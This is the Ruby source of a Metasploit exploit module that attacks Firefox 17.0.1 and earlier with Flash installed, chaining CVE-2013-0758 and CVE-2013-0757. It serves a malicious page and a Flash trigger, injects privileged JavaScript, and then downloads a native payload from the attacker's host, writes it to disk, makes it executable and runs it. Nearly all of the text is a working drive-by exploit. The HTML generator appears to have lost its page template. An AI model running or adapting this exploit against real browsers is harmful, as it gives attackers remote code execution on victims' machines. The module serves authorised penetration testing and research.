## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::FF, :ua_maxver => '17.0.1', :javascript => true, :rank => ExcellentRanking, # 100% reliable cmd exec :vuln_test => %Q{ is_vuln = !!navigator.mimeTypes["application/x-shockwave-flash"]; } }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox 17.0.1 + Flash Privileged Code Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 17.0.1 and all previous versions, provided the user has installed Flash. No memory corruption is used. First, a Flash object is cloned into the anonymous content of the SVG "use" element in the (CVE-2013-0758). From there, the Flash object can navigate a child frame to a URL in the chrome:// scheme. Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper around the child frame's window reference and inject code into the chrome:// context. Once we have injection into the chrome execution context, we can write our payload to disk, chmod it (if posix), and then execute. Note: Flash is used here to trigger the exploit but any Firefox plugin with script access should be able to trigger it. }, 'License' => MSF_LICENSE, 'Targets' => [ ['Automatic', {}], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ] ], 'Platform' => ['win', 'osx', 'linux'], 'DefaultTarget' => 0, 'Author' => [ 'Marius Mlynski', # discovery & bug report 'joev' # metasploit module ], 'References' => [ ['CVE', '2013-0758'], # navigate a frame to a chrome:// URL ['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome:// ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906'] ], 'DisclosureDate' => 'Jan 08 2013' )) register_options( [ OptString.new('CONTENT', [ false, "Content to display inside the HTML .", '' ] ) ], Auxiliary::Timed) end def on_request_uri(cli, request) my_target = get_target(request.headers['User-Agent']) if my_target.nil? print_status("User agent does not match an available payload type, bailing.") send_not_found(cli) return end if request.uri =~ /\.swf$/ # send Flash .swf for navigating the frame to chrome:// print_status("Sending .swf trigger.") send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' }) elsif request.uri =~ /\.bin/ # send the binary payload to drop & exec print_status("Child frame navigated. Sending binary payload to drop & execute.") send_response(cli, dropped_file_contents, { 'Content-Type' => 'application/octet-stream' }) else # send initial HTML page print_status("Sending #{self.name}") send_response_html(cli, generate_html) end handler(cli) end def dropped_file_contents generate_payload_exe end def get_target(agent) return target if target.name != 'Automatic' if agent =~ /windows/i print_status 'Windows detected.' targets[1] elsif agent =~ /linux/i print_status 'Linux detected.' targets[2] elsif agent =~ /macintosh/i and agent =~ /intel/i print_status 'OSX detected.' targets[3] else nil end end def flash_trigger swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf") @flash_trigger ||= File.read(swf_path) end def payload_filename if target.name == 'Windows x86 (Native Payload)' "#{Rex::Text.rand_text_alphanumeric(8)}.exe" else "#{Rex::Text.rand_text_alphanumeric(8)}.bin" end end def js_payload #'alert(Components.stack)' %Q| alert(1) var x = new XMLHttpRequest; x.overrideMimeType('text/plain; charset=x-user-defined'); x.open('POST', '#{base_url}.bin', false); x.send(null); alert(x.responseText); var file = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); file.append('#{payload_filename}'); var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] .createInstance(Components.interfaces.nsIFileOutputStream); stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0); stream.write(x.responseText, x.responseText.length); if (stream instanceof Components.interfaces.nsISafeOutputStream) { stream.finish(); } else { stream.close(); } #{chmod_code} alert(file.path); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); process.run(false,[],0); | end def chmod_code return '' if target.name == 'Windows x86 (Native Payload)' %Q| var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); chmod.initWithPath("/bin/chmod"); var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); process.init(chmod); process.run(true, ["+x", file.path], 2); | end # @return [String] URL for sending requests back to the module def base_url proto = (datastore["SSL"] ? "https" : "http") "#{proto}://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{datastore['URIPATH']}" end def generate_html vars = { :symbol_id => 'a', :random_domain => 'safe', :payload => js_payload, :payload_var => 'c', :payload_key => 'k', :payload_obj_var => 'payload_obj', :interval_var => 'itvl', :access_string => 'access', :frame_ref => 'frames[0]', :frame_name => 'n', :loader_path => "#{base_url}.swf", :content => self.datastore['CONTENT'] || '' } %Q| #{vars[:content]} | end end